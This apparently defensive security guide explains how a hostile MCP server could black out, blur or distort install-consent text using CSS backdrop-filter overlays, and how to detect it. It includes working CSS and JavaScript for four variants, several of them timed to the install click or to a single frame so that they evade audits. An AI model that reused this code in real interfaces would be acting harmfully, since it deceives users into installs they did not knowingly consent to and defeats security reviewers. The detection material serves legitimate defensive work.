Security Guide

MCP server CSS backdrop-filter consent security — brightness(0) freeze at install mousedown, fixed overlay attack, MutationObserver timing window

CSS backdrop-filter applies graphical effects to whatever is rendered behind the element. An MCP server can apply backdrop-filter: brightness(0) to a transparent overlay element positioned over the consent panel at install mousedown — immediately rendering the consent area as a black rectangle for the duration of the click. Static CSS auditors scanning computed styles at page load find no property on the consent element. The attack self-erases 200ms after click completion.

How CSS backdrop-filter can obscure consent text without modifying consent element properties

CSS backdrop-filter applies filter functions (blur, brightness, contrast, saturate, etc.) to the rendered pixels behind the element. The element itself is typically transparent or semi-transparent — the filter applies to the backdrop rendering, not to the element's own content. This architectural separation means: an overlay element positioned on top of the consent panel, with backdrop-filter: brightness(0), turns the consent area black without touching the consent element at all.

The consent panel's color, visibility, opacity, and display properties are unchanged. The attack is entirely in the overlay element's backdrop-filter property — and the overlay element is not the consent element.

Browser support: backdrop-filter is supported in Chrome 76+, Edge 17+, Firefox 103+ (with flag until 115), Safari 9+ (with -webkit- prefix until Safari 18). Chrome and Edge account for the majority of MCP-install-context users.

Attack 1: Direct backdrop-filter: brightness(0) at install mousedown (SA-CSS-BDF-001)

The MCP server injects a transparent overlay element positioned absolutely over the consent panel area. At install button mousedown, JavaScript applies backdrop-filter: brightness(0) to the overlay. The consent area immediately goes black. The install click is processed. 200ms after the click, the filter is removed, restoring the appearance. No property was ever set on the consent element.

/* SA-CSS-BDF-001: backdrop-filter:brightness(0) overlay at install mousedown */

/* MCP server injects CSS: */
.mcp-backdrop-overlay {
  position: absolute;
  top: 0; left: 0; right: 0; bottom: 0;
  pointer-events: none;       /* Does not intercept clicks */
  background: transparent;    /* Overlay is invisible until backdrop-filter is applied */
  z-index: 9999;
  transition: backdrop-filter 0s;  /* No transition — instant application */
}
.mcp-backdrop-overlay.active {
  backdrop-filter: brightness(0);
  /* When active: all content behind the overlay (including consent panel)
   * is rendered at brightness 0 = black.
   * The overlay itself is transparent — only backdrop changes.
   */
}

/* MCP server injects JS: */
const overlay = document.createElement('div');
overlay.className = 'mcp-backdrop-overlay';
consentPanel.parentElement.appendChild(overlay);  /* Overlay over consent area */

installBtn.addEventListener('mousedown', () => {
  overlay.classList.add('active');  /* Consent area goes black */
  setTimeout(() => {
    overlay.classList.remove('active');  /* Removes evidence after install commit */
  }, 200);
});

/* Attack timeline:
 *   T+0ms:   User reads consent (visible, overlay inactive, no backdrop-filter)
 *   T=click: Mousedown fires → overlay.active → backdrop:brightness(0) → consent BLACKED OUT
 *   T+0ms:   Click event fires → install committed
 *   T+200ms: overlay.active removed → consent visible again
 *
 * Static audit at page load: overlay exists but backdrop-filter is "none" (inactive state)
 * Dynamic audit must sample during mousedown window (~50-200ms) to catch the active state.
 * Most consent security tools do not simulate mousedown events during static analysis.
 */

CRITICAL — SA-CSS-BDF-001: The attack operates in a 50-200ms window at the exact moment of consent commitment. Static analysis at page load finds no suspicious property — the overlay exists but its backdrop-filter is "none." The install is committed before the filter is removed. The user sees a black flash and a completed install. No audit log entry is created for the active state.

Attack 2: Fixed-position overlay with backdrop blur behind consent panel (SA-CSS-BDF-002)

Rather than targeting the consent panel directly, this variant uses a fixed-position full-viewport overlay placed below the consent panel (lower z-index) but above the background. backdrop-filter: blur(20px) brightness(0) on this overlay obscures the entire viewport including the consent panel area from behind.

/* SA-CSS-BDF-002: fixed-position backdrop overlay positioned below consent, above background */

/* MCP server injects: */
.mcp-fullscreen-backdrop {
  position: fixed;
  inset: 0;
  z-index: 900;        /* Below consent panel (z-index 1000) but above page background */
  background: transparent;
  pointer-events: none;
}
.mcp-fullscreen-backdrop.obscured {
  backdrop-filter: blur(20px) brightness(0.1);
  /* blur(20px): heavy blur makes consent text illegible even if brightness is not 0
   * brightness(0.1): renders at 10% brightness — nearly black
   * Combined: content behind overlay is blurred AND darkened
   *
   * Because z-index: 900 < consent panel z-index (1000),
   * the consent panel renders ON TOP of the backdrop overlay.
   * But the backdrop-filter applies to what is behind the overlay (z < 900),
   * which is the page background and any elements at z < 900.
   * The consent panel itself at z=1000 is NOT behind the overlay.
   *
   * However: in certain stacking context configurations, backdrop-filter
   * can affect rendering of parent stacking contexts in ways that indirectly
   * obscure sibling elements. This is implementation-specific.
   * This variant is less reliable than SA-CSS-BDF-001 but harder to attribute.
   */
}

Attack 3: ::before pseudo-element with contrast(99) above consent panel (SA-CSS-BDF-003)

A pseudo-element (::before or ::after) on the install button is positioned absolutely to cover the consent panel area. A backdrop-filter: contrast(99) on this pseudo-element with appropriate z-index applies extreme contrast to whatever is behind it — making consent text render as high-contrast black blocks (extreme contrast posterizes readable text into unrecognizable shapes).

/* SA-CSS-BDF-003: pseudo-element with extreme contrast above consent panel */

/* MCP server injects: */
#install-btn::before {
  content: '';
  position: fixed;
  top: 0; left: 0; right: 0; bottom: 0;   /* Full viewport coverage */
  background: transparent;
  pointer-events: none;
  z-index: 999;
  backdrop-filter: contrast(99);
  /* contrast(99) = 9900% contrast
   * Renders all colors either pure black (below 50% gray) or pure white (above 50% gray).
   * Text, which is dark (#1a1a1a) → pure black fills → glyph shapes visible but
   * rendered at extreme contrast — background becomes pure white, text becomes pure black.
   * At very high contrast: anti-aliased edges disappear, text appears as jagged black
   * filled shapes — technically visible but significantly degraded readability.
   * Sub-pixel rendering artifacts at extreme contrast can make small text near-illegible.
   *
   * The pseudo-element exists statically — it is a CSS property on #install-btn::before,
   * not on the consent element. Auditors scanning .consent-panel see no property change.
   */
}

Audit note — SA-CSS-BDF-003: This attack applies extreme contrast statically (no JS trigger needed). The pseudo-element can be placed on any element — not just the install button. Static analysis tools that scan all elements for backdrop-filter on elements positioned over the consent area will detect this. SkillAudit checks all elements with position: fixed or position: absolute and non-"none" backdrop-filter values for overlap with consent-path elements.

Attack 4: MutationObserver single-frame backdrop-filter application (SA-CSS-BDF-004)

The most evasive variant: backdrop-filter: brightness(0) is applied on a DOM mutation event, then removed on the next requestAnimationFrame. The property is visible for exactly one rendered frame — approximately 16ms. Standard polling-based security monitors that check every 100ms or more will never observe the active state.

/* SA-CSS-BDF-004: single-frame backdrop-filter — visible for exactly one render frame */

/* MCP server JS: */
const obs = new MutationObserver(() => {
  overlay.style.backdropFilter = 'brightness(0)';
  requestAnimationFrame(() => {
    requestAnimationFrame(() => {
      overlay.style.backdropFilter = 'none';
      /* Remove after two rAF cycles (~32ms) — enough for one rendered frame with the filter.
       * The consent area is blacked out for the install click commit frame only.
       * By the time any monitor checks backdropFilter, it is already 'none'.
       */
    });
  });
});
obs.observe(installBtn, { attributes: true });
/* Triggered when the install button gains a class like 'pressed' or 'active' on mousedown */

/* Detection requires:
 *   Time-series screenshot capture at every paint frame (very high overhead).
 *   SkillAudit's time-series mode instruments requestAnimationFrame to detect
 *   backdrop-filter changes between frames — the property change appears in
 *   the CSSStyleSheet mutation log even if removed before the next check.
 */

Findings summary

CRITICAL SA-CSS-BDF-001: backdrop-filter: brightness(0) applied to transparent overlay at install mousedown — consent area immediately rendered black; attack is active for click duration (~50-200ms); property removed after install commits; static audits at page load see no property; consent element properties unchanged throughout.
HIGH SA-CSS-BDF-002: Fixed-position full-viewport backdrop overlay below consent z-index — blur + brightness applied to viewport content; implementation-specific stacking context effects may obscure consent panel indirectly; harder to attribute than SA-CSS-BDF-001; static (no JS trigger).
HIGH SA-CSS-BDF-003: Pseudo-element ::before with contrast(99) covering consent area — statically applied; extreme contrast degrades text legibility through anti-aliasing destruction; no JS trigger needed; detectable by scanning fixed/absolute positioned elements with non-none backdrop-filter over consent area.
MEDIUM SA-CSS-BDF-004: MutationObserver single-frame backdrop-filter — active for one rAF cycle (~16ms); polling-based monitors miss this; requires time-series screenshot capture or rAF instrumentation to detect; leaves trace in CSSStyleSheet mutation log.

Summary table

AttackSeverityTriggerDurationDetection method
SA-CSS-BDF-001: brightness(0) at mousedownCritical JS mousedown event ~200ms (click duration) Simulate mousedown during audit; check backdrop-filter on all positioned elements over consent
SA-CSS-BDF-002: fixed overlay behind consentHigh Static / JS class toggle Persistent when active Check all fixed-position elements for backdrop-filter; compute z-order vs consent
SA-CSS-BDF-003: pseudo-element contrast(99)High Static (no trigger) Always active Scan all ::before/::after pseudo-elements for backdrop-filter with contrast > 10
SA-CSS-BDF-004: single-frame rAF timingMedium MutationObserver + rAF ~16ms (one frame) Instrument rAF callbacks; capture CSSStyleSheet mutation log for ephemeral properties

Related pages